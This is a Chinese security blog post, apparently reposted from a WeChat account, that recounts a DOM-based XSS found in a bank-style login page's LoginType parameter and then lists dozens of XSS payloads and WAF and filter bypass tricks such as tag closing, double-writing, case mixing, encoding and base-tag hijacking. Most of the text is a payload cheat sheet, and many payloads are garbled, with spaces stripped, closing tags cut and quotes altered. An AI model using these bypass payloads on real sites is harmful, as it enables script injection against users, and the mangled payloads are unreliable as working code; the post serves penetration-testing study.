某次项目的XSS-Bypss转换思路的xss-top10漏洞挖掘

admin 2023年12月23日00:52:56评论41 views字数 5040阅读16分48秒阅读模式

0x01前言

XSS出现的地方,数据交互的地方:GET、POST、Cookies、headers、反馈与浏览、富文本编辑器、各类标签插入和自定义、数据输入,户资料:关键词、标签、说明、文件上传,实际应用中web程序往往会通过一些过滤规则来防止代有恶意代码的用户输入被显示。当上述代码(常见标签中的代码)被注入到输入框或者URL参数中时,可能会成功也可能会失败,如果失败了,并不意味着网站不存在XSS漏洞,需要对其进行绕过等方式发掘安全漏洞

通过插入字符发现loginType参数存在xss。

http://qdzxxxx.com/pweb/prelogin.do?_locale=zh_CN&BankId=&LoginType=R%22confirm(110)+%22%3E

某次项目的XSS-Bypss转换思路的xss-top10漏洞挖掘

如果思路没转换过来,或者陷入硬钢xss waf正则的思路,那么这个xss就x不过来。

如下所示,</scirpt>如果闭合成功,之后的xss waf很难过得去。

某次项目的XSS-Bypss转换思路的xss-top10漏洞挖掘

这里的防护功能体现在这里,出现一些敏感字符会出现302重定向,如下。

某次项目的XSS-Bypss转换思路的xss-top10漏洞挖掘

某次项目的XSS-Bypss转换思路的xss-top10漏洞挖掘

比如大部分的on事件用不了了,然后是绝大部分属性都被过滤,例如href=xxx style=xxx都无法成功。以及javascript难以绕过。
但是我可以转变思路,因为这实际上是个dom型xss

某次项目的XSS-Bypss转换思路的xss-top10漏洞挖掘

使用

http://qdxxxxx.com/pweb/prelogin.do?_locale=zh_CN&BankId=&LoginType=R%22-confirm(110)-%22%3E

某次项目的XSS-Bypss转换思路的xss-top10漏洞挖掘

因为这里使用-符号来打断了js代码的执行,或者使用== * / 等各种符号。

某次项目的XSS-Bypss转换思路的xss-top10漏洞挖掘

下面是一些常见的XSS绕过手法和XSS容易出现的地方。

限制绕过常见标签<script>alert(1)</script>

<img>标签

<imgsrc=javascript:alert(“xss”)><IMGSRC=javascript:alert(String.formCharCode(88,83,83))><imgscr=”URL”style=’Xss:expression(alert(/xss));’<imgsrc=”x”onerror=alert(1)><imgsrc=”1″onerror=eval(“alert(‘xss’)”)><imgsrc=1onmouseover=alert(‘xss’)><a>标签

标准格式<ahref=”https://www.baidu.com”>baidu</a>

<ahref=”javascript:alert(‘xss’)”>aa</a><ahref=javascript:eval(alert(‘xss’))>aa</a><ahref=”javascript:aaa”onmouseover=”alert(/xss/)”>aa</a><ahref=””onclick=eval(alert(‘xss’))>aa</a><ahref=kycg.asp?ttt=1000onmouseover=prompt(‘xss’)y=2016>aa</a><input>标签

<inputvalue=””onclick=alert(‘xss’)type=”text”><inputname=”name”value=””onmouseover=prompt(‘xss’)bad=””><inputname=”name”value=””><script>alert(‘xss’)</script><form>标签

<formaction=javascript:alert(‘xss’)method=”get”><formaction=javascript:alert(‘xss’)><formmethod=postaction=aa.asp?onmouseover=prompt(‘xss’)><formmethod=postaction=aa.asp?onmouseover=alert(‘xss’)><formaction=1onmouseover=alert(‘xss)><formmethod=postaction=”data:text/html;base64,<script>alert(‘xss’)</script>”><formmethod=postaction=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”><iframe>标签

<iframesrc=javascript:alert(‘xss’);height=5width=1000/><iframe><iframesrc=”data:text/html,&lt;script&gt;alert(‘xss’)&lt;/script&gt;”></iframe><iframesrc=”data:text/html;base64,<script>alert(‘xss’)</script>”><iframesrc=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”><iframesrc=”aaa”onmouseover=alert(‘xss’)/><iframe><iframesrc=”javascript&colon;prompt&lpar;xss&rpar;”></iframe><svg>标签

<svgonload=alert(1)>CSS

<img STYLE=”background-image:url(javascript:alert(‘XSS’))”>限制绕过实际应用中web程序往往会通过一些过滤规则来防止代有恶意代码的用户输入被显示。当上述代码(常见标签中的代码)被注入到输入框或者URL参数中时,可能会成功也可能会失败,如果失败了,并不意味着网站不存在XSS漏洞,需要对其进行绕过等方式发掘安全漏洞。这里,给大家总结一些XSS绕过方法。

闭合标签

常规闭合,通过各种方式,闭合前面的语句。

function escape(input) {// warm up// script should be executed without user interactionreturn ‘<input type=”text” value=”‘ + input + ‘”>’;}“><script>alert(1);script>双写半开括号

function escape(input) {// tags stripping mechanism from ExtJS library// Ext.util.Format.stripTagsvar stripTagsRE = /</?[^>]+>/gi;input = input.replace(stripTagsRE, ”);return ‘<article>’ + input + ‘</article>’;}以上代码中正则会处理尖括号和尖括号中的内容,将其替换成空。所以可以使用双写半开括号”<<“绕过:

<img src=1 onerror=”prompt(1)”<反引号+编码

function escape(input) {// v– frowny faceinput = input.replace(/[=(]/g, ”);// ok seriously, disallows equal signs and open parenthesisreturn input;}以上代码对等号和左括号进行过滤,所以使用反引号代替括号,在通过编码解决。

<script>setTimeoutpromptu00281u0029;</script>闭合注释

function escape(input) {// filter potential comment end delimitersinput = input.replace(/->/g, ‘_’);// comment the input to avoid script executionreturn ‘<!– ‘ + input + ‘ –>’;}以上代码将输出的内容放在注释中,且对->做了替换处理。所以html可以–>或–!>闭合注释

–!><script>prompt(1)</script>闭合大部分的标签

*/–>'”);>iframe>script>style>title>textarea><a>aa>#*/–>'”);>iframe>script>style>title>textarea><iframe >宽字符闭合

*/–>%cf”%d5′>frame>script>style>title>textarea>回车换行

很多时候,回车换行能绕过很多的限制

%0D%0A标签检测绕过

fuzz各种标签,检查是否存在拦截或者过滤

针对黑名单大小写混写<ScRipt>ALeRt(“XSS”);sCRipT>双写绕过<scscriptript>alert(1)</scriscriptpt>嵌套绕过ript>alert(/xss/);script>alert(/xss/);script>空字符绕过,09ipt>ALeRt(/XSS/);sCRipT>特殊字符黑名单,采用其他字符代替,如:限制 ” 符号,输入<img src=1 onclick=alert(‘1’)>限制 ‘ 符号,输入<img src=1 onclick=alert(/1/)>、<img src=1 onclick=”alert(1)”>限制 () 符号,输入<img src=1 onclick=”alert `’1’`”>限制 () ‘ ” 符号,输入<img src=1 onclick=alert `1`>或使用实体编码绕过。绕过字符长度限制利用事件缩短长度,如,“onclick=alert(1)//”使用base标签,base标签可以运用于页面的任何地方,且作用于之后的所有标签。通过在页面插入base标签,就可以在远程服务器伪造图片,链接或脚本,劫持页面的相对路径的标签。对window.name赋值,没有特殊的字符限制。因为window对象是浏览器的窗体,而不是document对象。因此很多时候window对象不受同源策略的限制。可以用这个实现跨域,跨界面的传递。3. 编码绕过

Javascript的编码十六进制UnicodeURL编码JS编码HTML实体编码在线编码/解码工具:站长工具-编码解码在线、107000工具站、在线jsons字符实体转换、在线HTML字符实体转换

4.使用其他标签,<a>、<href>、<img>等;

5.使用空字符,在关键词中添加空字符;

6. 使用转义字符;

常规Waf绕过思路

[+] 标签语法替换[+] 特殊符号干扰 比如 / #[+] 提交方式更改 Request的前提下,Waf只检查URL内容而不检查POST内容[+] 垃圾数据溢出[+] 加密解密算法[+] 结合其他漏洞绕过

0x06 测试过程反射型XSS、DOM型XSS

验证测试情况

在网站的搜索栏、用户登录入口、输入表单等处输入payload,查看页面是否有弹框,则存在反射型XSS漏洞;

现实攻击情况

攻击者寻找具有XSS漏洞的网站,植入payload构造恶意链接,将恶意链接发给用户,诱骗用户点击,用户点击此链接,XSS攻击执行。

存储型XSS

验证测试情况

在论坛、博客、留言板、网站的留言、评论、日志等交互处输入payload,查看页面是否有弹框。若有,先切换至网站其他页面,再返回输入payload的页面,若依旧出现弹窗,则存在存储型XSS漏洞。

现实攻击情况

攻击者在发帖或留言的过程中,将恶意脚本连同正常信息一起注入到发布内容中。随着发布内容被服务器存储下来,恶意脚本也将永久的存放到服务器的后端存储器中。当其他用户浏览这个被注入了

恶意脚本的帖子时,恶意脚本就会在用户的浏览器中得到执行。

常用payload:

<script>alert(1)</script> // 调用JavaScript语句<img src=x onerror=alert(1)> // src是错误的 就会调用error函数<a href=javascript:alert(1)> // 点击a即可触发<svg onload=alert(1)> // 使用svg标签

原文始发于微信公众号(渗透安全HackTwo):某次项目的XSS-Bypss转换思路的xss-top10漏洞挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月23日00:52:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某次项目的XSS-Bypss转换思路的xss-top10漏洞挖掘https://cn-sec.com/archives/2330406.html

发表评论

匿名网友 填写信息